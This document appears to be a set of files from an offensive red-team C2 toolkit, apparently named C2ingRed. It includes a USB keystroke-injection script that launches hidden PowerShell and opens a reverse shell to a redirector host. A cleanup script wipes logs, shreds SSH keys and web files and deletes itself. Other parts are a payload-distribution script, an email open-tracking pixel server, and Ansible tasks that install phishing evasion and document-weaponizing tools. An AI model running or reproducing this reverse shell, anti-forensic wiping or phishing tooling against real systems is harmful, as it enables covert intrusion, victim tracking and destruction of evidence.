echo -e "\n${BLUE}Updating NGINX redirector configuration...${NC}"
|
||||
|
||||
# Update configuration to use new ports
|
||||
# Note: This assumes standard format used in the C2ingRed templates
|
||||
if grep -q "proxy_pass http://.*:" "$nginx_config"; then
|
||||
sed -i "s|proxy_pass http://.*:8888;|proxy_pass http://{{ c2_ip }}:$HTTP_C2_PORT;|g" "$nginx_config"
|
||||
sed -i "s|proxy_pass https://.*:443;|proxy_pass https://{{ c2_ip }}:$HTTPS_C2_PORT;|g" "$nginx_config"
|
||||
|
||||
# Update stream configuration if it exists
|
||||
local stream_config="/etc/nginx/modules-enabled/stream.conf"
|
||||
if [ -f "$stream_config" ]; then
|
||||
sed -i "s|proxy_pass .*:31337;|proxy_pass {{ c2_ip }}:$MTLS_C2_PORT;|g" "$stream_config"
|
||||
sed -i "s|proxy_pass .*:50051;|proxy_pass {{ c2_ip }}:$HTTP_C2_PORT;|g" "$stream_config"
|
||||
fi
|
||||
|
||||
# Reload NGINX
|
||||
systemctl reload nginx
|
||||
|
||||
echo -e "${GREEN}NGINX configuration updated to use new ports${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}Could not find proxy_pass directives in NGINX config${NC}"
|
||||
fi
|
||||
else
|
||||
echo -e "${YELLOW}NGINX configuration file not found at $nginx_config${NC}"
|
||||
fi
|
||||
}
|
||||
|
||||
# Apply the configuration updates
|
||||
update_sliver_config
|
||||
update_shell_handler
|
||||
update_beacon_server
|
||||
update_nginx_redirector
|
||||
|
||||
echo -e "\n${GREEN}Port randomization complete!${NC}"
|
||||
echo -e "${YELLOW}Remember to update any firewall rules to allow traffic on these ports.${NC}"
|
||||
echo -e "${YELLOW}You should also update your DNS records if they contain SRV records that specify ports.${NC}"
|
||||
|
||||
# Display the new port configuration again for reference
|
||||
echo -e "\n${BLUE}New Port Configuration:${NC}"
|
||||
cat $PORT_CONFIG | jq
|
||||
@@ -0,0 +1,52 @@
|
||||
REM Title: C2ingRed Reverse Shell
|
||||
REM Author: C2ingRed
|
||||
REM Description: Establishes a reverse shell to the C2 redirector
|
||||
REM Target: Windows 10/11
|
||||
REM Version: 1.0
|
||||
|
||||
REM Configuration: Modify these values to match your redirector setup
|
||||
REM REDIRECTOR_HOST: Your redirector domain or IP
|
||||
REM REDIRECTOR_PORT: Port where shell handler is listening
|
||||
REM SHELL_TYPE: powershell or cmd
|
||||
|
||||
REM ============= Start of configuration =============
|
||||
REM REDIRECTOR_HOST=cdn.example.com
|
||||
REM REDIRECTOR_PORT=4444
|
||||
REM SHELL_TYPE=powershell
|
||||
REM ============= End of configuration ===============
|
||||
|
||||
REM Minimize the chance of detection by hiding the window
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -WindowStyle Hidden
|
||||
ENTER
|
||||
DELAY 2000
|
||||
|
||||
REM Main reverse shell payload
|
||||
STRING $ErrorActionPreference = 'SilentlyContinue'; Add-Type -AssemblyName System.Security; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; function cleanup { if (Get-Variable c -ErrorAction SilentlyContinue) { $c.Close() }; if (Get-Variable p -ErrorAction SilentlyContinue) { $p.Close() }; if (Get-Variable s -ErrorAction SilentlyContinue) { $s.Close() }; [GC]::Collect(); exit }
|
||||
ENTER
|
||||
|
||||
REM Attempt to create socket connection with retry logic
|
||||
STRING $attempts = 0; $maxAttempts = 3; while ($attempts -lt $maxAttempts) { try { $c = New-Object System.Net.Sockets.TCPClient('cdn.example.com', 4444); if ($c.Connected) { break }; } catch { $attempts++; if ($attempts -ge $maxAttempts) { cleanup } else { Start-Sleep -Seconds 2 } }; }
|
||||
ENTER
|
||||
|
||||
REM Setup streams
|
||||
STRING $s = $c.GetStream(); [byte[]]$b = 0..65535|%{0}; $sl = New-Object System.Security.Cryptography.AesManaged; $sl.Mode = [System.Security.Cryptography.CipherMode]::CBC; $sl.Padding = [System.Security.Cryptography.PaddingMode]::Zeros; $sl.BlockSize = 128; $sl.KeySize = 256; $i = 0
|
||||
ENTER
|
||||
|
||||
REM Execute either PowerShell or CMD shell based on configuration
|
||||
STRING $p = New-Object System.Diagnostics.Process; $p.StartInfo.FileName = 'powershell.exe'; $p.StartInfo.Arguments = '-NoProfile -ExecutionPolicy Bypass'; $p.StartInfo.UseShellExecute = $false; $p.StartInfo.RedirectStandardInput = $true; $p.StartInfo.RedirectStandardOutput = $true; $p.StartInfo.RedirectStandardError = $true; $p.StartInfo.CreateNoWindow = $true; $p.Start() | Out-Null
|
||||
ENTER
|
||||
|
||||
REM Setup IO redirection
|
||||
STRING $is = $p.StandardInput; $os = $p.StandardOutput; $es = $p.StandardError; $osb = New-Object System.IO.MemoryStream; $esb = New-Object System.IO.MemoryStream; $osl = New-Object System.Threading.AutoResetEvent $false; $esl = New-Object System.Threading.AutoResetEvent $false; $od = $os.BaseStream.BeginRead($b, 0, $b.Length, $null, $null); $ed = $es.BaseStream.BeginRead($b, 0, $b.Length, $null, $null)
|
||||
ENTER
|
||||
|
||||
REM Main communication loop
|
||||
STRING try { while ($true) { if ($c.Connected -ne $true -or ($osb.Length -eq 0 -and $i -gt 10000)) { cleanup }; $i = 0; Start-Sleep -Milliseconds 100; $ab = New-Object byte[] $c.Available; if ($ab.Length -gt 0) { $rd = $s.Read($ab, 0, $ab.Length); $dt = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($ab); $is.Write($dt); $i = 0 }; if ($p.HasExited) { cleanup }; } } catch { cleanup }
|
||||
ENTER
|
||||
|
||||
REM Execute and complete
|
||||
STRING iex 'Get-Process | Select-Object ProcessName,Id,CPU | Sort-Object CPU -Descending | Select-Object -First 5'
|
||||
ENTER
|
||||
@@ -0,0 +1,96 @@
|
||||
#!/bin/bash
|
||||
# Secure cleanup script for terminating the C2 infrastructure
|
||||
|
||||
# Configuration
|
||||
SECURE_DELETE_PASSES=7
|
||||
MEMORY_WIPE=true
|
||||
SELF_DESTRUCT=false # Set to true for complete instance termination (if API available)
|
||||
|
||||
# Set secure umask
|
||||
umask 077
|
||||
|
||||
# Function to securely delete files
|
||||
secure_delete() {
|
||||
local target=$1
|
||||
echo "[+] Securely deleting: $target"
|
||||
|
||||
if command -v srm > /dev/null; then
|
||||
srm -vzf $target 2>/dev/null
|
||||
elif command -v shred > /dev/null; then
|
||||
shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null
|
||||
else
|
||||
# Fallback to dd if specialized tools aren't available
|
||||
dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null
|
||||
dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null
|
||||
rm -f $target 2>/dev/null
|
||||
fi
|
||||
}
|
||||
|
||||
echo "[+] Beginning secure exit procedure..."
|
||||
|
||||
# Stop all operational services
|
||||
echo "[+] Stopping operational services..."
|
||||
services=("nginx" "sliver" "shell-handler" "gophish" "metasploit" "postgresql" "tor" "opendkim" "postfix" "dovecot")
|
||||
for service in "${services[@]}"; do
|
||||
systemctl stop $service 2>/dev/null
|
||||
service $service stop 2>/dev/null
|
||||
done
|
||||
|
||||
# Kill any remaining operational processes
|
||||
echo "[+] Terminating operational processes..."
|
||||
process_names=("nginx" "sliver" "msfconsole" "meterpreter" "ruby" "nc" "netcat" "socat" "python" "tor")
|
||||
for proc in "${process_names[@]}"; do
|
||||
pkill -9 $proc 2>/dev/null
|
||||
done
|
||||
|
||||
# Clear all logs
|
||||
echo "[+] Clearing logs..."
|
||||
bash /root/Tools/clean-logs.sh
|
||||
|
||||
# Securely delete operational files
|
||||
echo "[+] Removing operational files..."
|
||||
operational_dirs=(
|
||||
"/root/Tools"
|
||||
"/root/Tools/beacons"
|
||||
"/root/Tools/payloads"
|
||||
"/root/.sliver"
|
||||
"/root/.msf4"
|
||||
"/root/.gophish"
|
||||
"/root/Tools"
|
||||
"/home/*/Tools"
|
||||
"/var/www/html"
|
||||
)
|
||||
|
||||
for dir in "${operational_dirs[@]}"; do
|
||||
find $dir -type f 2>/dev/null | while read file; do
|
||||
secure_delete "$file"
|
||||
done
|
||||
rm -rf $dir 2>/dev/null
|
||||
done
|
||||
|
||||
# Remove SSH keys
|
||||
echo "[+] Removing SSH keys and configs..."
|
||||
find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do
|
||||
secure_delete "$file"
|
||||
done
|
||||
|
||||
# Clean memory if requested
|
||||
if $MEMORY_WIPE; then
|
||||
echo "[+] Wiping system memory..."
|
||||
sync
|
||||
echo 3 > /proc/sys/vm/drop_caches
|
||||
swapoff -a
|
||||
swapon -a
|
||||
fi
|
||||
|
||||
# Self-destruct if configured (for cloud providers with API access)
|
||||
if $SELF_DESTRUCT; then
|
||||
echo "[+] Initiating self-destruct sequence..."
|
||||
# This would typically call the cloud provider's API to terminate the instance
|
||||
# For FlokiNET, this would need to be handled manually
|
||||
fi
|
||||
|
||||
echo "[+] Secure exit completed. Infrastructure has been sanitized."
|
||||
|
||||
# Remove this script itself
|
||||
exec shred -n $SECURE_DELETE_PASSES -uz $0
|
||||
@@ -0,0 +1,150 @@
|
||||
#!/bin/bash
|
||||
# secure_payload_sync.sh - OPSEC-focused payload distribution
|
||||
|
||||
# Configuration
|
||||
C2_PAYLOAD_DIR="/root/Tools/Havoc/payloads"
|
||||
REDIRECTOR_IP="{{ redirector_ip }}"
|
||||
REDIRECTOR_USER="root"
|
||||
SSH_KEY_PATH="/root/.ssh/id_ed25519"
|
||||
REMOTE_PAYLOAD_DIR="/var/www/resources"
|
||||
ENCRYPTED_TRANSFER=true
|
||||
LOG_FILE="/root/Tools/logs/payload_sync.log"
|
||||
LOG_RETENTION_DAYS=3
|
||||
MAX_RANDOM_DELAY=300 # Max random delay in seconds
|
||||
|
||||
# Create minimal timestamped log with auto-rotation
|
||||
log() {
|
||||
mkdir -p $(dirname $LOG_FILE)
|
||||
echo "$(date "+%Y-%m-%d %H:%M:%S") - $1" >> $LOG_FILE
|
||||
find $(dirname $LOG_FILE) -name "*.log" -mtime +$LOG_RETENTION_DAYS -delete 2>/dev/null
|
||||
}
|
||||
|
||||
# Add random delay for OPSEC
|
||||
sleep_random() {
|
||||
DELAY=$((RANDOM % $MAX_RANDOM_DELAY))
|
||||
log "Adding random delay of $DELAY seconds"
|
||||
sleep $DELAY
|
||||
}
|
||||
|
||||
# Generate payload manifest and check for changes
|
||||
check_for_changes() {
|
||||
if [ ! -d "$C2_PAYLOAD_DIR" ]; then
|
||||
log "ERROR: Payload directory not found"
|
||||
return 1
|
||||
fi
|
||||
|
||||
TMP_DIR=$(mktemp -d)
|
||||
MANIFEST_FILE="$TMP_DIR/manifest"
|
||||
find $C2_PAYLOAD_DIR -type f -exec sha256sum {} \; | sort > $MANIFEST_FILE
|
||||
|
||||
CURRENT_HASH=$(sha256sum $MANIFEST_FILE | awk '{print $1}')
|
||||
HASH_FILE="/root/Tools/.payload_hash"
|
||||
|
||||
if [ -f "$HASH_FILE" ] && [ "$(cat $HASH_FILE)" == "$CURRENT_HASH" ]; then
|
||||
log "No payload changes detected"
|
||||
secure_delete $TMP_DIR
|
||||
return 1
|
||||
fi
|
||||
|
||||
echo $CURRENT_HASH > $HASH_FILE
|
||||
return 0
|
||||
}
|
||||
|
||||
# Secure deletion of files/directories
|
||||
secure_delete() {
|
||||
if [ -d "$1" ]; then
|
||||
find "$1" -type f -exec shred -n 3 -z -u {} \; 2>/dev/null
|
||||
rm -rf "$1" 2>/dev/null
|
||||
elif [ -f "$1" ]; then
|
||||
shred -n 3 -z -u "$1" 2>/dev/null
|
||||
fi
|
||||
}
|
||||
|
||||
# Encrypt archive with random password
|
||||
encrypt_archive() {
|
||||
SRC="$1"
|
||||
DEST="$2"
|
||||
|
||||
# Generate random password
|
||||
PASSWORD=$(head /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32)
|
||||
PASS_FILE=$(mktemp)
|
||||
echo $PASSWORD > $PASS_FILE
|
||||
|
||||
# Encrypt the archive
|
||||
openssl enc -aes-256-cbc -salt -in "$SRC" -out "$DEST" -pass file:$PASS_FILE
|
||||
|
||||
# Store password temporarily for transfer
|
||||
echo $PASSWORD
|
||||
|
||||
# Securely delete password file
|
||||
secure_delete $PASS_FILE
|
||||
}
|
||||
|
||||
# Main execution
|
||||
main() {
|
||||
log "Starting secure payload sync"
|
||||
|
||||
# Add randomized timing
|
||||
sleep_random
|
||||
|
||||
# Check for payload changes
|
||||
check_for_changes || exit 0
|
||||
|
||||
# Generate random archive name for OPSEC
|
||||
RANDOM_ID=$(head /dev/urandom | tr -dc 'a-z0-9' | head -c 12)
|
||||
ARCHIVE_NAME="updates_${RANDOM_ID}.tar.gz"
|
||||
ENCRYPTED_NAME="${ARCHIVE_NAME}.enc"
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
|
||||
# Create payload archive
|
||||
log "Creating payload archive"
|
||||
tar czf "$TEMP_DIR/$ARCHIVE_NAME" -C $(dirname $C2_PAYLOAD_DIR) $(basename $C2_PAYLOAD_DIR)
|
||||
|
||||
# Encrypt archive if enabled
|
||||
PASSWORD=""
|
||||
if [ "$ENCRYPTED_TRANSFER" = true ]; then
|
||||
log "Encrypting payload archive"
|
||||
PASSWORD=$(encrypt_archive "$TEMP_DIR/$ARCHIVE_NAME" "$TEMP_DIR/$ENCRYPTED_NAME")
|
||||
TRANSFER_FILE="$TEMP_DIR/$ENCRYPTED_NAME"
|
||||
else
|
||||
TRANSFER_FILE="$TEMP_DIR/$ARCHIVE_NAME"
|
||||
fi
|
||||
|
||||
# Transfer archive to redirector
|
||||
log "Transferring payloads to redirector"
|
||||
scp -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -q "$TRANSFER_FILE" "$REDIRECTOR_USER@$REDIRECTOR_IP:/tmp/$ENCRYPTED_NAME"
|
||||
|
||||
# Handle remote extraction with decryption if needed
|
||||
if [ "$ENCRYPTED_TRANSFER" = true ]; then
|
||||
REMOTE_CMD="
|
||||
mkdir -p $REMOTE_PAYLOAD_DIR
|
||||
TEMP_DIR=\$(mktemp -d)
|
||||
openssl enc -aes-256-cbc -d -in /tmp/$ENCRYPTED_NAME -out \$TEMP_DIR/$ARCHIVE_NAME -pass pass:\"$PASSWORD\"
|
||||
tar xzf \$TEMP_DIR/$ARCHIVE_NAME -C /var/www/
|
||||
# Clean up
|
||||
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME \$TEMP_DIR/$ARCHIVE_NAME 2>/dev/null
|
||||
rm -rf \$TEMP_DIR
|
||||
# Update web server if needed
|
||||
systemctl reload nginx 2>/dev/null
|
||||
"
|
||||
else
|
||||
REMOTE_CMD="
|
||||
mkdir -p $REMOTE_PAYLOAD_DIR
|
||||
tar xzf /tmp/$ENCRYPTED_NAME -C /var/www/
|
||||
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME 2>/dev/null
|
||||
systemctl reload nginx 2>/dev/null
|
||||
"
|
||||
fi
|
||||
|
||||
# Execute command on redirector
|
||||
ssh -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null "$REDIRECTOR_USER@$REDIRECTOR_IP" "$REMOTE_CMD"
|
||||
|
||||
# Clean up local temp files
|
||||
log "Cleaning up temporary files"
|
||||
secure_delete $TEMP_DIR
|
||||
|
||||
log "Payload sync completed successfully"
|
||||
}
|
||||
|
||||
# Run main function
|
||||
main
|
||||
@@ -0,0 +1,214 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Simple Email Tracking Server
|
||||
|
||||
A minimal Flask application that serves transparent tracking pixels
|
||||
and logs email opens with metadata.
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import time
|
||||
import logging
|
||||
from datetime import datetime
|
||||
from flask import Flask, request, send_file, render_template_string
|
||||
|
||||
# Configure logging
|
||||
logging.basicConfig(
|
||||
level=logging.INFO,
|
||||
format='%(asctime)s - %(levelname)s - %(message)s',
|
||||
handlers=[
|
||||
logging.FileHandler('/root/Tools/tracker/data/tracker.log'),
|
||||
logging.StreamHandler()
|
||||
]
|
||||
)
|
||||
|
||||
# Create Flask app
|
||||
app = Flask(__name__)
|
||||
|
||||
# Directory to store tracking data
|
||||
DATA_DIR = '/root/Tools/tracker/data'
|
||||
os.makedirs(DATA_DIR, exist_ok=True)
|
||||
|
||||
# Path to 1x1 transparent pixel
|
||||
PIXEL_PATH = os.path.join(DATA_DIR, 'pixel.png')
|
||||
|
||||
# Create 1x1 transparent PNG if it doesn't exist
|
||||
if not os.path.exists(PIXEL_PATH):
|
||||
from PIL import Image
|
||||
img = Image.new('RGBA', (1, 1), color=(0, 0, 0, 0))
|
||||
img.save(PIXEL_PATH)
|
||||
|
||||
# Path to tracking data
|
||||
TRACKING_DATA_PATH = os.path.join(DATA_DIR, 'tracking_data.json')
|
||||
|
||||
def load_tracking_data():
|
||||
"""Load existing tracking data from JSON file"""
|
||||
if os.path.exists(TRACKING_DATA_PATH):
|
||||
try:
|
||||
with open(TRACKING_DATA_PATH, 'r') as f:
|
||||
return json.load(f)
|
||||
except json.JSONDecodeError:
|
||||
logging.error("Error loading tracking data, starting fresh")
|
||||
return {}
|
||||
|
||||
def save_tracking_data(data):
|
||||
"""Save tracking data to JSON file"""
|
||||
with open(TRACKING_DATA_PATH, 'w') as f:
|
||||
json.dump(data, f, indent=2)
|
||||
|
||||
@app.route('/pixel/<tracking_id>.png')
|
||||
def tracking_pixel(tracking_id):
|
||||
"""Serve a tracking pixel and log the request"""
|
||||
# Get client information
|
||||
user_agent = request.headers.get('User-Agent', 'Unknown')
|
||||
ip_address = request.remote_addr
|
||||
timestamp = datetime.now().isoformat()
|
||||
referer = request.headers.get('Referer', 'Unknown')
|
||||
|
||||
# Log the tracking event
|
||||
logging.info(f"Pixel loaded - ID: {tracking_id}, IP: {ip_address}")
|
||||
|
||||
# Add tracking event to data
|
||||
tracking_data = load_tracking_data()
|
||||
|
||||
if tracking_id not in tracking_data:
|
||||
tracking_data[tracking_id] = []
|
||||
|
||||
tracking_data[tracking_id].append({
|
||||
'timestamp': timestamp,
|
||||
'ip_address': ip_address,
|
||||
'user_agent': user_agent,
|
||||
'referer': referer
|
||||
})
|
||||
|
||||
save_tracking_data(tracking_data)
|
||||
|
||||
# Return the 1x1 transparent pixel
|
||||
return send_file(PIXEL_PATH, mimetype='image/png')
|
||||
|
||||
@app.route('/')
|
||||
def dashboard():
|
||||
"""Display tracking statistics dashboard"""
|
||||
tracking_data = load_tracking_data()
|
||||
|
||||
# Prepare data for the dashboard
|
||||
stats = []
|
||||
for tracking_id, events in tracking_data.items():
|
||||
stats.append({
|
||||
'id': tracking_id,
|
||||
'views': len(events),
|
||||
'last_view': events[-1]['timestamp'] if events else 'Never',
|
||||
'unique_ips': len(set(e['ip_address'] for e in events))
|
||||
})
|
||||
|
||||
# Sort by most views
|
||||
stats.sort(key=lambda x: x['views'], reverse=True)
|
||||
|
||||
# Simple HTML dashboard template
|
||||
template = """
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Email Tracking Dashboard</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
|
||||
h1 { color: #333; }
|
||||
table { border-collapse: collapse; width: 100%; }
|
||||
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
|
||||
tr:hover { background-color: #f5f5f5; }
|
||||
th { background-color: #4CAF50; color: white; }
|
||||
.container { max-width: 800px; margin: 0 auto; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<h1>Email Tracking Dashboard</h1>
|
||||
<p>To track email opens, add this HTML to your emails:</p>
|
||||
<pre><img src="https://YOUR_DOMAIN/px/YOUR_TRACKING_ID.png" height="1" width="1" /></pre>
|
||||
|
||||
<h2>Tracking Statistics</h2>
|
||||
<table>
|
||||
<tr>
|
||||
<th>Tracking ID</th>
|
||||
<th>Views</th>
|
||||
<th>Unique IPs</th>
|
||||
<th>Last View</th>
|
||||
<th>Details</th>
|
||||
</tr>
|
||||
{% for stat in stats %}
|
||||
<tr>
|
||||
<td>{{ stat.id }}</td>
|
||||
<td>{{ stat.views }}</td>
|
||||
<td>{{ stat.unique_ips }}</td>
|
||||
<td>{{ stat.last_view }}</td>
|
||||
<td><a href="/details/{{ stat.id }}">View Details</a></td>
|
||||
</tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
return render_template_string(template, stats=stats)
|
||||
|
||||
@app.route('/details/<tracking_id>')
|
||||
def tracking_details(tracking_id):
|
||||
"""Display detailed tracking information for a specific ID"""
|
||||
tracking_data = load_tracking_data()
|
||||
|
||||
if tracking_id not in tracking_data:
|
||||
return f"No data found for tracking ID: {tracking_id}", 404
|
||||
|
||||
events = tracking_data[tracking_id]
|
||||
|
||||
# Simple HTML template for details
|
||||
template = """
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Tracking Details: {{ tracking_id }}</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
|
||||
h1, h2 { color: #333; }
|
||||
table { border-collapse: collapse; width: 100%; }
|
||||
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
|
||||
tr:hover { background-color: #f5f5f5; }
|
||||
th { background-color: #4CAF50; color: white; }
|
||||
.container { max-width: 800px; margin: 0 auto; }
|
||||
.back { margin-bottom: 20px; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="back"><a href="/">« Back to Dashboard</a></div>
|
||||
<h1>Tracking Details: {{ tracking_id }}</h1>
|
||||
<p>Total views: {{ events|length }}</p>
|
||||
|
||||
<h2>Events</h2>
|
||||
<table>
|
||||
<tr>
|
||||
<th>Time</th>
|
||||
<th>IP Address</th>
|
||||
<th>User Agent</th>
|
||||
<th>Referer</th>
|
||||
</tr>
|
||||
{% for event in events %}
|
||||
<tr>
|
||||
<td>{{ event.timestamp }}</td>
|
||||
<td>{{ event.ip_address }}</td>
|
||||
<td>{{ event.user_agent }}</td>
|
||||
<td>{{ event.referer }}</td>
|
||||
</tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
return render_template_string(template, tracking_id=tracking_id, events=events)
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run(host='127.0.0.1', port=5000, debug=False)
|
||||
@@ -0,0 +1,47 @@
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name {{ tracker_domain }};
|
||||
|
||||
# Redirect to HTTPS if SSL is enabled
|
||||
return 301 https://$host$request_uri;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 443 ssl;
|
||||
listen [::]:443 ssl;
|
||||
server_name {{ tracker_domain }};
|
||||
|
||||
# SSL Configuration
|
||||
ssl_certificate /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem;
|
||||
ssl_certificate_key /etc/letsencrypt/live/{{ tracker_domain }}/privkey.pem;
|
||||
|
||||
# Restrict dashboard to localhost only
|
||||
location / {
|
||||
allow 127.0.0.1;
|
||||
deny all;
|
||||
proxy_pass http://127.0.0.1:5000;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
}
|
||||
|
||||
# Allow public access only to pixel endpoints
|
||||
location ~ ^/pixel/(.+)\.png$ {
|
||||
# Public access allowed
|
||||
proxy_pass http://127.0.0.1:5000/pixel/$1.png;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
|
||||
# Cache control - don't cache tracking pixels
|
||||
add_header Cache-Control "no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0";
|
||||
expires off;
|
||||
}
|
||||
|
||||
# Security headers
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Referrer-Policy "no-referrer" always;
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
#!/bin/bash
|
||||
# CLI tool to view email tracking stats
|
||||
|
||||
DATA_FILE="/root/Tools/tracker/data/tracking_data.json"
|
||||
|
||||
function show_summary() {
|
||||
if [ ! -f "$DATA_FILE" ]; then
|
||||
echo "No tracking data found."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Email Tracking Summary:"
|
||||
echo "======================="
|
||||
jq -r 'to_entries | sort_by(.value | length) | reverse | .[] | "\(.key): \(.value | length) views"' $DATA_FILE
|
||||
}
|
||||
|
||||
function show_details() {
|
||||
ID=$1
|
||||
if [ ! -f "$DATA_FILE" ]; then
|
||||
echo "No tracking data found."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Details for tracking ID: $ID"
|
||||
echo "=========================="
|
||||
jq -r --arg id "$ID" '.[$id] | if . then .[] | "\(.timestamp) | \(.ip_address) | \(.user_agent)" else "No data found for this ID" end' $DATA_FILE
|
||||
}
|
||||
|
||||
case "$1" in
|
||||
"list")
|
||||
show_summary
|
||||
;;
|
||||
"details")
|
||||
if [ -z "$2" ]; then
|
||||
echo "Usage: $0 details TRACKING_ID"
|
||||
exit 1
|
||||
fi
|
||||
show_details "$2"
|
||||
;;
|
||||
*)
|
||||
echo "Usage: $0 [list|details TRACKING_ID]"
|
||||
echo " list - Show summary of all tracking IDs"
|
||||
echo " details ID - Show details for specific tracking ID"
|
||||
;;
|
||||
esac
|
||||
@@ -0,0 +1,19 @@
|
||||
[Unit]
|
||||
Description=Email Tracking Server
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
User=tracker
|
||||
Group=tracker
|
||||
WorkingDirectory=/root/Tools/tracker
|
||||
ExecStart=/root/Tools/tracker/venv/bin/python /root/Tools/tracker/simple_email_tracker.py
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
# Security settings
|
||||
PrivateTmp=true
|
||||
ProtectSystem=full
|
||||
NoNewPrivileges=true
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
@@ -0,0 +1,25 @@
|
||||
# tasks/cleanup_confirmation.yml - Common task file for cleanup confirmation
|
||||
- name: Show cleanup information
|
||||
debug:
|
||||
msg: |
|
||||
************************************************
|
||||
* CLEANUP OPERATION *
|
||||
************************************************
|
||||
The following resources will be DELETED PERMANENTLY:
|
||||
{% if cleanup_redirector and redirector_name is defined %}
|
||||
- Redirector: {{ redirector_name }} ({{ redirector_ip | default('IP unknown') }})
|
||||
{% endif %}
|
||||
{% if cleanup_c2 and c2_name is defined %}
|
||||
- C2 Server: {{ c2_name }} ({{ c2_ip | default('IP unknown') }})
|
||||
{% endif %}
|
||||
when: confirm_cleanup | bool
|
||||
|
||||
- name: Confirm cleanup operation
|
||||
pause:
|
||||
prompt: "\n>>> Type 'yes' to confirm deletion or press Ctrl+C to abort <<<"
|
||||
register: confirmation
|
||||
when: confirm_cleanup | bool
|
||||
|
||||
- name: Skip cleanup if not confirmed
|
||||
meta: end_play
|
||||
when: confirm_cleanup | bool and confirmation.user_input != 'yes'
|
||||
@@ -0,0 +1,137 @@
|
||||
---
|
||||
# Advanced evasion techniques for red team phishing
|
||||
|
||||
- name: Install advanced evasion tools
|
||||
apt:
|
||||
name:
|
||||
- python3-dnspython
|
||||
- python3-requests
|
||||
- python3-selenium
|
||||
- chromium-browser
|
||||
- chromium-chromedriver
|
||||
- tor
|
||||
- proxychains4
|
||||
state: present
|
||||
|
||||
- name: Create SMTP smuggling configuration
|
||||
template:
|
||||
src: "../templates/smtp-smuggling.py.j2"
|
||||
dest: "/root/Tools/phishing/smtp-smuggling.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: enable_smtp_smuggling | default(false) | bool
|
||||
|
||||
- name: Configure SPF bypass techniques
|
||||
template:
|
||||
src: "../templates/spf-bypass.sh.j2"
|
||||
dest: "/root/Tools/phishing/spf-bypass.sh"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: enable_spf_bypass | default(false) | bool
|
||||
|
||||
- name: Create domain aging simulation
|
||||
template:
|
||||
src: "../templates/domain-aging.py.j2"
|
||||
dest: "/root/Tools/phishing/domain-aging.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
when: aged_domain_mode | default(false) | bool
|
||||
|
||||
- name: Set up MTA fronting configuration
|
||||
template:
|
||||
src: "../templates/mta-fronting.conf.j2"
|
||||
dest: "/etc/postfix/mta_fronting.cf"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
when: enable_mta_fronting | default(false) | bool
|
||||
notify: restart postfix
|
||||
|
||||
- name: Create file format manipulation tools
|
||||
copy:
|
||||
src: "{{ item.src }}"
|
||||
dest: "{{ item.dest }}"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- { src: "../files/pdf-weaponizer.py", dest: "/root/Tools/phishing/pdf-weaponizer.py" }
|
||||
- { src: "../files/office-macro-generator.py", dest: "/root/Tools/phishing/office-macro-generator.py" }
|
||||
- { src: "../files/lnk-generator.py", dest: "/root/Tools/phishing/lnk-generator.py" }
|
||||
|
||||
- name: Create Living off the Land (LOtL) payload templates
|
||||
template:
|
||||
src: "{{ item.src }}"
|
||||
dest: "{{ item.dest }}"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
